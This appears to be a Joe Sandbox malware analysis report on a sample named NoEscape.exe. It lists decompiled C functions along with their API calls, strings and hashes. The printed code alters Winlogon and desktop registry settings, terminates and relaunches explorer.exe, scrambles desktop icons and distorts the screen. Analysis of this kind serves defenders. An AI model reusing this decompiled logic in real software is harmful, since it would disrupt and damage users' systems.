Instruction Fuzzy Hash: 93517DF1A102058BDB14CF69DA817AAB7F0FB88310F24803EC945FB790D7799A44DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004035F0, Relevance: 43.9, APIs: 19, Strings: 6, Instructions: 192
registrymemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004035F0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				long _v12;
				char _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				void* _v36;
				signed int _t45;
				int _t49;
				signed int _t63;
				signed int _t71;
				signed short _t76;
				signed short _t77;
				signed short _t82;
				signed short _t83;
				void* _t94;
				intOrPtr _t95;
				intOrPtr _t114;
				intOrPtr _t115;
				long _t122;
				signed int _t125;

				_t45 =  *0x408014; // 0xffc51803
				_v8 = _t45 ^ _t125;
				_t94 = RtlAllocateHeap( *0x4083e0, 8, 4);
				_v36 = _t94;
				_v24 = 0;
				_v12 = 0;
				_v28 = GetSystemMetrics(0);
				_t49 = GetSystemMetrics(1);
				_t120 =  *0x405024;
				_v32 = _t49;
				_v16 = 0;
				_v20 = 0x80000002;
				RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v20, 0);
				_t114 =  *0x405028;
				RegSetValueExW(_v20, L"AutoRestartShell", 0, 4,  &_v16, 4);
				RegCloseKey(_v20);
				E00401750(_t94, 0x80000001, L"SOFTWARE\\Microsoft\\Windows\\Shell\\Bags\\1\\Desktop",  *0x405024, L"FFlags", 4,  &_v12);
				if(_v12 != 0x40200220) {
					_v16 = 0x40200220;
					_v20 = 0x80000001;
					RegCreateKeyExW(0x80000001, L"SOFTWARE\\Microsoft\\Windows\\Shell\\Bags\\1\\Desktop", 0, 0, 0, 0x102, 0,  &_v20, 0);
					RegSetValueExW(_v20, L"FFlags", 0, 4,  &_v16, 4);
					RegCloseKey(_v20);
					E004014B0(_t94, L"explorer.exe", 0, _t114, _t120);
					E004010E0(_t94, L"C:\\Windows\\explorer.exe", 0, _t114, _t120, L"explorer.exe");
				}
				_t115 =  *0x40518c;
				while(1) {
					_t121 =  *0x4050a4;
					if(E00401000(_t94, L"explorer.exe", _t115,  *0x4050a4) != 0) {
						goto L5;
					} else {
						goto L4;
					}
					do {
						L4:
						Sleep(0xfa);
					} while (E00401000(_t94, L"explorer.exe", _t115, _t121) == 0);
					L5:
					Sleep(0x5dc);
					E004012A0(_t94, L"explorer.exe", _t94, _t115, _t121);
					EnumWindows(E00403540,  &_v24);
					_t122 = SendMessageW(_v24, 0x1004, 0, 0);
					if(_t122 != 0) {
						_v12 = 0;
						do {
							GetExitCodeProcess( *( *(_t94 + 8) + 4),  &_v12);
							 *0x4083bc = 0;
							if(_t122 != 0) {
								_t95 = _v28;
								asm("o16 nop [eax+eax]");
								do {
									_t76 = E00403DD0(1, _v32);
									_t77 = E00403DD0(1, _t95);
									_t115 =  *0x40518c;
									SendMessageW(_v24, 0x100f,  *0x4083bc & 0x0000ffff, _t77 & 0x0000ffff | (_t76 & 0x0000ffff) << 0x00000010);
									_t82 =  *0x4083bc; // 0xe5
									_t83 = _t82 + 1;
									 *0x4083bc = _t83;
								} while ((_t83 & 0x0000ffff) < _t122);
								_t94 = _v36;
							}
							Sleep(0x19);
						} while (_v12 == 0x103);
						continue;
					}
					_t63 =  *(_t94 + 4) - 1;
					 *(_t94 + 4) = _t63;
					if(_t63 != 0xffffffff) {
						do {
							CloseHandle( *( *(_t94 + 8) + 4 + ( *(_t94 + 4) +  *(_t94 + 4) * 2) * 4));
							_t71 =  *(_t94 + 4) - 1;
							 *(_t94 + 4) = _t71;
						} while (_t71 != 0xffffffff);
					}
					HeapFree( *0x4083e0, 0,  *(_t94 + 8));
					HeapFree( *0x4083e0, 0, _t94);
					return E0040410C(_v8 ^ _t125);
				}
			}

0x004035f6
0x004035fd
0x00403619
0x0040361d
0x00403620
0x00403627
0x00403632
0x00403635
0x00403637
0x0040363f
0x0040365d
0x00403664
0x0040366b
0x0040366d
0x00403685
0x0040368a
0x004036a5
0x004036b1
0x004036b8
0x004036d7
0x004036de
0x004036f2
0x004036f7
0x00403704
0x00403711
0x00403711
0x00403716
0x0040371c
0x0040371c
0x0040372e
0x00000000
0x00000000
0x00000000
0x00000000
0x00403730
0x00403730
0x00403735
0x00403741
0x00403745
0x0040374a
0x00403753
0x00403761
0x00403775
0x00403779
0x0040377f
0x00403786
0x00403790
0x00403798
0x004037a0
0x004037a2
0x004037a5
0x004037b0
0x004037b8
0x004037ca
0x004037d4
0x004037eb
0x004037ed
0x004037f3
0x004037f5
0x004037fe
0x00403802
0x00403802
0x00403807
0x0040380d
0x00000000
0x0040381a
0x00403822
0x00403823
0x00403829
0x00403831
0x0040383e
0x00403843
0x00403844
0x00403847
0x00403831
0x0040385d
0x00403868
0x0040387a
0x0040387a

APIs

RtlAllocateHeap.NTDLL(00000008,00000004), ref: 0040360D
GetSystemMetrics.USER32(00000000), ref: 0040362E
GetSystemMetrics.USER32(00000001), ref: 00403635
RegCreateKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000), ref: 0040366B
RegSetValueExW.ADVAPI32(80000002,AutoRestartShell,00000000,00000004,00000000,00000004), ref: 00403685
RegCloseKey.ADVAPI32(80000002), ref: 0040368A

Part of subcall function 00401750: RegOpenKeyExW.ADVAPI32(?,?,00000000,00000101,?), ref: 00401781
Part of subcall function 00401750: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000,?,?,00000000,00000101,?), ref: 0040179F
Part of subcall function 00401750: RtlAllocateHeap.NTDLL(00000008,00000000), ref: 004017B5
Part of subcall function 00401750: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000,?,?,?,00000000,00000101,?), ref: 004017CC
Part of subcall function 00401750: RegCloseKey.ADVAPI32(?,00000101,?), ref: 004017E4
Part of subcall function 00401750: HeapFree.KERNEL32(00000000,00000000), ref: 004017F3

RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\Shell\Bags\1\Desktop,00000000,00000000,00000000,00000102,00000000,80000002,00000000), ref: 004036DE
RegSetValueExW.ADVAPI32(80000001,FFlags,00000000,00000004,40200220,00000004), ref: 004036F2
RegCloseKey.ADVAPI32(80000001), ref: 004036F7

Part of subcall function 004014B0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004014D4

Sleep.KERNEL32(000000FA), ref: 00403735
Sleep.KERNEL32(000005DC), ref: 0040374A
EnumWindows.USER32(Function_00003540,00000000), ref: 00403761
SendMessageW.USER32(00000000,00001004,00000000,00000000), ref: 00403773
GetExitCodeProcess.KERNEL32(?,00000000), ref: 00403790
SendMessageW.USER32(00000000,0000100F,?,?), ref: 004037EB
Sleep.KERNEL32(00000019), ref: 00403807
CloseHandle.KERNEL32(?), ref: 0040383E
HeapFree.KERNEL32(00000000,40200220), ref: 0040385D
HeapFree.KERNEL32(00000000,00000000), ref: 00403868

Strings

C:\Windows\explorer.exe, xrefs: 0040370C
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 00403653
AutoRestartShell, xrefs: 0040367D
SOFTWARE\Microsoft\Windows\Shell\Bags\1\Desktop, xrefs: 00403693, 004036CD
explorer.exe, xrefs: 004036FF, 00403722, 00403737, 0040374E
FFlags, xrefs: 0040369B, 004036EA

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Heap$CloseValue$CreateFreeSleep$AllocateMessageMetricsQuerySendSystem$CodeEnumExitHandleOpenProcessSnapshotToolhelp32Windows
String ID: AutoRestartShell$C:\Windows\explorer.exe$FFlags$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$SOFTWARE\Microsoft\Windows\Shell\Bags\1\Desktop$explorer.exe
API String ID: 2139977736-1917440684
Opcode ID: 1cf3b16aceb20a2618188c51d5b78e0d46039c1064382bad35a636d6b1d57ef0
Instruction ID: 3a95c145ca2961dbe98b959fc4dd3e3b34e6570baeb2cb47111bab4ab52bf66b
Opcode Fuzzy Hash: 1cf3b16aceb20a2618188c51d5b78e0d46039c1064382bad35a636d6b1d57ef0
Instruction Fuzzy Hash: 89618671A40218AFEB109F94CD45FAE7BB9EB44714F10407AFB05BB2E1DBB459008FA8

Uniqueness

Uniqueness Score: -1.00%

Function 004010E0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 118
stringmemoryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E004010E0(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __edi, void* __esi) {
				signed int _v12;
				struct _STARTUPINFOW _v88;
				struct _PROCESS_INFORMATION _v104;
				WCHAR* _v108;
				signed int _t18;
				int _t31;
				WCHAR* _t36;
				WCHAR* _t42;
				void* _t52;
				WCHAR* _t58;
				signed int _t63;

				_t18 =  *0x408014; // 0xffc51803
				_v12 = _t18 ^ _t63;
				asm("xorps xmm0, xmm0");
				_v108 = __edx;
				_t42 = __ecx;
				asm("movlpd [ebp-0x50], xmm0");
				asm("movlpd [ebp-0x48], xmm0");
				asm("movlpd [ebp-0x40], xmm0");
				asm("movlpd [ebp-0x38], xmm0");
				asm("movlpd [ebp-0x30], xmm0");
				asm("movlpd [ebp-0x28], xmm0");
				asm("movlpd [ebp-0x20], xmm0");
				asm("movlpd [ebp-0x18], xmm0");
				_v88.cb = 0x44;
				asm("movups [ebp-0x64], xmm0");
				if(__ecx != 0) {
					_push(0x5c);
					_push(__ecx);
					if( *0x4051f4() != 0) {
						_t52 = __ecx;
					} else {
						_t31 = lstrlenW(__ecx);
						_t52 = RtlAllocateHeap( *0x4083e0, 8, 0xc + (_t31 + lstrlenW(L"C:\\Windows\\system32")) * 2);
						wsprintfW(_t52, L"%s\\%s", L"C:\\Windows\\system32", _t42);
						_t36 =  *0x4051f4(_t52, 0x2e);
						if(_t36 == 0 && lstrcmpiW(_t36, L".exe") != 0) {
							lstrcatW(_t52, L".exe");
						}
					}
					_t58 = CreateProcessW(_t52, _v108, 0, 0, 0, 0x30, 0, 0,  &_v88,  &_v104);
					_v108 = _t58;
					if(_t58 != 0) {
						WaitForInputIdle(_v104.hProcess, 0xffffffff);
						CloseHandle(_v104);
						CloseHandle(_v104.hThread);
						_t58 = _v108;
					}
					if(_t52 != _t42) {
						HeapFree( *0x4083e0, 0, _t52);
					}
					return E0040410C(_v12 ^ _t63);
				} else {
					return E0040410C(_v12 ^ _t63);
				}
			}

0x004010e6
0x004010ed
0x004010f0
0x004010f3
0x004010f7
0x004010f9
0x004010fe
0x00401103
0x00401108
0x0040110d
0x00401112
0x00401117
0x0040111c
0x00401121
0x0040112a
0x00401130
0x00401148
0x0040114a
0x00401156
0x004011c4
0x00401158
0x0040115f
0x00401188
0x00401190
0x00401199
0x004011a4
0x004011bc
0x004011bc
0x004011a4
0x004011e4
0x004011e6
0x004011eb
0x004011f2
0x00401201
0x00401206
0x00401208
0x00401208
0x0040120d
0x00401218
0x00401218
0x00401235
0x00401132
0x00401145
0x00401145

APIs

lstrlenW.KERNEL32 ref: 0040115F
lstrlenW.KERNEL32(C:\Windows\system32), ref: 00401168
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 0040117C
wsprintfW.USER32 ref: 00401190
lstrcmpiW.KERNEL32(00000000,.exe), ref: 004011AC
lstrcatW.KERNEL32(00000000,.exe), ref: 004011BC
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 004011DE
WaitForInputIdle.USER32(?,000000FF), ref: 004011F2
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 00401201
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 00401206
HeapFree.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 00401218

Strings

C:\Windows\system32, xrefs: 00401161, 00401183
%s\%s, xrefs: 0040118A
.exe, xrefs: 004011A6, 004011B6
D, xrefs: 00401121

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: CloseHandleHeaplstrlen$AllocateCreateFreeIdleInputProcessWaitlstrcatlstrcmpiwsprintf
String ID: %s\%s$.exe$C:\Windows\system32$D
API String ID: 3972025640-383583754
Opcode ID: dc502ec92c1ce84f4b51d551d884e6a0d7778a9b4ece0047c23f57eb734ad4ab
Instruction ID: dd04defbddc75f3332f24932a25cf1447a27aad822ef3d2c61193db3d5ac1b60
Opcode Fuzzy Hash: dc502ec92c1ce84f4b51d551d884e6a0d7778a9b4ece0047c23f57eb734ad4ab
Instruction Fuzzy Hash: 1241A232E00718A7DB109BA0DE45B6F7BB5FB99714F20123AFA00BA1D0DBB45840CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00403540, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 62
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00403540(void* __ebx, void* __esi, struct HWND__* _a4, intOrPtr* _a8) {
				signed int _v8;
				short _v24;
				intOrPtr* _v28;
				signed int _t11;
				struct HWND__* _t27;
				struct HWND__* _t34;
				signed int _t36;

				_t11 =  *0x408014; // 0xffc51803
				_v8 = _t11 ^ _t36;
				_t34 = _a4;
				_v28 = _a8;
				_t27 = FindWindowExW(_t34, 0, L"SHELLDLL_DefView", 0);
				GetClassNameW(_t34,  &_v24, 8);
				if(_t27 != 0 || lstrcmpW( &_v24, L"Progman") == 0 && lstrcmpW( &_v24, L"WorkerW") == 0) {
					 *_v28 = FindWindowExW(_t27, 0, L"SysListView32", L"FolderView");
					return E0040410C(_v8 ^ _t36);
				} else {
					return E0040410C(_v8 ^ _t36);
				}
			}

0x00403546
0x0040354d
0x00403555
0x00403562
0x0040356b
0x00403574
0x0040357c
0x004035d1
0x004035e2
0x004035a3
0x004035b6
0x004035b6

APIs

FindWindowExW.USER32(?,00000000,SHELLDLL_DefView,00000000), ref: 00403565
GetClassNameW.USER32(?,?,00000008), ref: 00403574
lstrcmpW.KERNEL32(?,Progman), ref: 0040358D
lstrcmpW.KERNEL32(?,WorkerW), ref: 0040359C
FindWindowExW.USER32(00000000,00000000,SysListView32,FolderView), ref: 004035C6

Strings

SHELLDLL_DefView, xrefs: 0040355A
WorkerW, xrefs: 00403593
Progman, xrefs: 00403587
SysListView32, xrefs: 004035BE
FolderView, xrefs: 004035B9

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: FindWindowlstrcmp$ClassName
String ID: FolderView$Progman$SHELLDLL_DefView$SysListView32$WorkerW
API String ID: 3299651046-16165180
Opcode ID: c2f8be7225014b2ae6579c696713acfef354c6b7005945d371a04498d2fefb50
Instruction ID: abd6097ed27a706875d5efd22cd1b31db22a6c786418c93d04d11aa61d8e8742
Opcode Fuzzy Hash: c2f8be7225014b2ae6579c696713acfef354c6b7005945d371a04498d2fefb50
Instruction Fuzzy Hash: 10119831A41609ABDB00DFA49D45F9F77ACEB18701F100077BA05FB2C0D678AD048BD8

Uniqueness

Uniqueness Score: -1.00%

Function 00403420, Relevance: 15.1, APIs: 10, Instructions: 92
windowsleepCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00403420(signed short _a4, signed short _a8) {
				struct HDC__* _v8;
				int _v12;
				int _v16;
				int _v20;
				int _v24;
				struct HDC__* _v28;
				void* _v32;
				struct HDC__* _t43;
				signed int _t53;
				unsigned int _t55;
				void* _t56;
				signed int _t57;
				long _t59;
				struct HDC__* _t65;
				long _t67;
				struct HDC__* _t68;

				_t67 = _t59;
				_t53 = GetSystemMetrics(0);
				_v24 = _t53;
				_t57 = GetSystemMetrics(1);
				_v20 = _t57;
				_t55 = 0xaaaaaaab * _t53 >> 0x20 >> 1;
				_v16 = _t55;
				_v12 = 0xaaaaaaab * _t57 >> 0x20 >> 1;
				_t65 =  *0x4051b8(0);
				_v28 = _t65;
				_t43 =  *0x405050(_t65);
				_v8 = _t43;
				_v32 =  *0x405048(_t65, _t55, _v12);
				_t56 = E00403DD0(_a4 & 0x0000ffff, _a8 & 0x0000ffff);
				SelectObject(_v8, _v32);
				if(_t56 == 0) {
					L3:
					DeleteObject(_v32);
					 *0x405174(0, _t65);
					DeleteDC(_v8);
					Beep(0x3e8, 0xbb8);
					ExitProcess(0);
				} else {
					goto L1;
				}
				do {
					L1:
					_t66 = _t67;
					Sleep(_t67);
					_t68 = _v28;
					StretchBlt(_v8, 0, 0, _v16, _v12, _t68, 0, 0, _v24, _v20, 0xcc0020);
					StretchBlt(_t68, 0, 0, _v24, _v20, _v8, 0, 0, _v16, _v12, 0xcc0020);
					_t32 = _t66 - 0x64; // 0x1324
					_t67 =  <=  ? _t67 : _t32;
					_t56 = _t56 - 1;
				} while (_t56 != 0);
				_t65 = _v28;
				goto L3;
			}

0x0040342f
0x00403435
0x00403439
0x0040343e
0x0040344c
0x00403453
0x00403459
0x0040345c
0x00403465
0x00403468
0x0040346b
0x00403474
0x00403487
0x00403492
0x00403497
0x0040349f
0x00403507
0x0040350a
0x00403513
0x0040351c
0x0040352c
0x00403534
0x00000000
0x00000000
0x00000000
0x004034a1
0x004034a1
0x004034a2
0x004034a4
0x004034aa
0x004034ca
0x004034ed
0x004034f9
0x004034fc
0x004034ff
0x004034ff
0x00403504
0x00000000

APIs

GetSystemMetrics.USER32(00000000), ref: 00403433
GetSystemMetrics.USER32(00000001), ref: 0040343C

Part of subcall function 00403DD0: RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E07
Part of subcall function 00403DD0: RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E38
Part of subcall function 00403DD0: RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E64
Part of subcall function 00403DD0: RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E95

SelectObject.GDI32(?,?), ref: 00403497
Sleep.KERNEL32(00001388,?,0000004B,?,?,?,00403DCE,00000032,0000004B), ref: 004034A4
StretchBlt.GDI32(?,00000000,00000000,00000032,0000004B,?,00000000,00000000,?,00403DCE,00CC0020), ref: 004034CA
StretchBlt.GDI32(?,00000000,00000000,?,00403DCE,?,00000000,00000000,00000032,0000004B,00CC0020), ref: 004034ED
DeleteObject.GDI32(?), ref: 0040350A
DeleteDC.GDI32(?), ref: 0040351C
Beep.KERNEL32(000003E8,00000BB8), ref: 0040352C
ExitProcess.KERNEL32 ref: 00403534

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: CriticalSection$DeleteEnterLeaveMetricsObjectStretchSystem$BeepExitProcessSelectSleep
String ID:
API String ID: 3950535875-0
Opcode ID: e74a508979fe21e40fd4aca22fb392497819e5619fd476646c59dc71e645054c
Instruction ID: 45aabfedb033741ea0e0eeb20c995d526f783dad0cfd088dc0e3b68ebdc41e03
Opcode Fuzzy Hash: e74a508979fe21e40fd4aca22fb392497819e5619fd476646c59dc71e645054c
Instruction Fuzzy Hash: 9F310931A40609BBDF115FE5CE49BAEBFBAEF48701F104025F601BA2A0C7B51A119F99

Uniqueness

Uniqueness Score: -1.00%

Function 004014B0, Relevance: 12.1, APIs: 8, Instructions: 96
processstringsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E004014B0(void* __ebx, WCHAR* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				short _v528;
				long _v556;
				char _v560;
				void* _v564;
				WCHAR* _v568;
				signed int _t13;
				int _t24;
				void* _t34;
				void* _t44;
				WCHAR* _t46;
				void* _t47;
				signed int _t48;

				_t13 =  *0x408014; // 0xffc51803
				_v8 = _t13 ^ _t48;
				_t46 = __ecx;
				_t34 = __edx;
				_v568 = __ecx;
				_t44 = CreateToolhelp32Snapshot(2, 0);
				if(_t46 != 0) {
					if(_t44 == 0xffffffff) {
						L12:
						return E0040410C(_v8 ^ _t48);
					} else {
						_push(0x228);
						_push(0);
						_push( &_v560);
						L00404A40();
						_v564 = 0x22c;
						if(Process32NextW(_t44,  &_v564) == 0) {
							L11:
							return E0040410C(_v8 ^ _t48);
						} else {
							do {
								_t24 = lstrcmpiW( &_v528, _t46);
								if(_t24 != 0) {
									goto L10;
								} else {
									if(_t34 != 0) {
										_t34 = _t34 - 1;
										goto L10;
									} else {
										_t47 = OpenProcess(0x100001, _t24, _v556);
										if(_t47 == 0) {
											goto L12;
										} else {
											TerminateProcess(_t47, 0);
											WaitForSingleObject(_t47, 0xffffffff);
											CloseHandle(_t47);
											_t46 = _v568;
											goto L10;
										}
									}
								}
								goto L13;
								L10:
							} while (Process32NextW(_t44,  &_v564) != 0);
							goto L11;
						}
					}
				} else {
					return E0040410C(_v8 ^ _t48);
				}
				L13:
			}

0x004014b9
0x004014c0
0x004014c8
0x004014ca
0x004014ce
0x004014da
0x004014de
0x004014f7
0x004015a6
0x004015bb
0x004014fd
0x004014fd
0x00401508
0x0040150a
0x0040150b
0x00401513
0x0040152d
0x00401595
0x004015a5
0x00401530
0x00401530
0x00401538
0x00401540
0x00000000
0x00401542
0x00401544
0x0040157f
0x00000000
0x00401546
0x00401558
0x0040155c
0x00000000
0x0040155e
0x00401561
0x0040156a
0x00401571
0x00401577
0x00000000
0x00401577
0x0040155c
0x00401544
0x00000000
0x00401581
0x0040158f
0x00000000
0x00401530
0x0040152d
0x004014e2
0x004014f3
0x004014f3
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004014D4
Process32NextW.KERNEL32(00000000,0000022C), ref: 00401525
lstrcmpiW.KERNEL32(?), ref: 00401538
OpenProcess.KERNEL32(00100001,00000000,?), ref: 00401552
TerminateProcess.KERNEL32(00000000,00000000), ref: 00401561
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0040156A
CloseHandle.KERNEL32(00000000), ref: 00401571
Process32NextW.KERNEL32(00000000,0000022C), ref: 00401589

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: NextProcessProcess32$CloseCreateHandleObjectOpenSingleSnapshotTerminateToolhelp32Waitlstrcmpi
String ID:
API String ID: 987055836-0
Opcode ID: f7a4dbd8c2dac55e5669d50f6b439c7efe275caca3136c3ae8b86ba48abf81c3
Instruction ID: 9e3df8cf282c074c3401c37664a08d43704e4b36be93bf7537fd4d47b4f3a6bd
Opcode Fuzzy Hash: f7a4dbd8c2dac55e5669d50f6b439c7efe275caca3136c3ae8b86ba48abf81c3
Instruction Fuzzy Hash: 5521EE31A415187BDB209B74AD49BAF7368EB85320F1402BAFD05FB2D0DB785E458E98

Uniqueness

Uniqueness Score: -1.00%

Function 00401750, Relevance: 9.1, APIs: 6, Instructions: 78
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00401750(void* __ebx, void* __ecx, short* __edx, void* __esi, short* _a4, int _a8, intOrPtr _a12) {
				signed int _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				signed int _t22;
				void* _t38;
				short* _t41;
				void* _t50;
				signed int _t52;

				_t22 =  *0x408014; // 0xffc51803
				_v8 = _t22 ^ _t52;
				_t41 = _a4;
				_v20 = _a12;
				_v16 = __ecx;
				_v12 = 0;
				if(RegOpenKeyExW(__ecx, __edx, 0, 0x101,  &_v16) != 0 || RegQueryValueExW(_v16, _t41, 0,  &_a8, 0,  &_v12) != 0) {
					return E0040410C(_v8 ^ _t52);
				} else {
					_t50 = RtlAllocateHeap( *0x4083e0, 8, _v12);
					RegQueryValueExW(_v16, _t41, 0,  &_a8, _t50,  &_v12);
					_push(_v12);
					L00404B5A();
					RegCloseKey(_v16);
					HeapFree( *0x4083e0, 0, _t50);
					_t38 =  ==  ? 0 : _v12;
					return E0040410C(_v8 ^ _t52, _v20, _t50);
				}
			}

0x00401756
0x0040175d
0x00401764
0x00401767
0x00401777
0x0040177a
0x00401789
0x00401828
0x004017a9
0x004017bb
0x004017cc
0x004017d2
0x004017d9
0x004017e4
0x004017f3
0x00401803
0x00401814
0x00401814

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000101,?), ref: 00401781
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000,?,?,00000000,00000101,?), ref: 0040179F
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 004017B5
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000,?,?,?,00000000,00000101,?), ref: 004017CC
RegCloseKey.ADVAPI32(?,00000101,?), ref: 004017E4
HeapFree.KERNEL32(00000000,00000000), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: HeapQueryValue$AllocateCloseFreeOpen
String ID:
API String ID: 170146033-0
Opcode ID: 7bbc95de771ae55c699107cef6a1cf9cdf247a161d0946da0ed02f58e5d0484b
Instruction ID: e8518d6f02fd239d1e69ee507a905ab37948c1453ef8cbf09d63a3d4e6af6bc4
Opcode Fuzzy Hash: 7bbc95de771ae55c699107cef6a1cf9cdf247a161d0946da0ed02f58e5d0484b
Instruction Fuzzy Hash: E6212C72A00208BFDB109FA5DD45FAFBBB8FF48710F008169F915A61A0DB719A54DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004012A0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148sleepprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004012C8
Sleep.KERNEL32(000000FA), ref: 00401415
CloseHandle.KERNEL32(00000000), ref: 0040147D

Strings

NoEscape.exe, xrefs: 0040145F

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

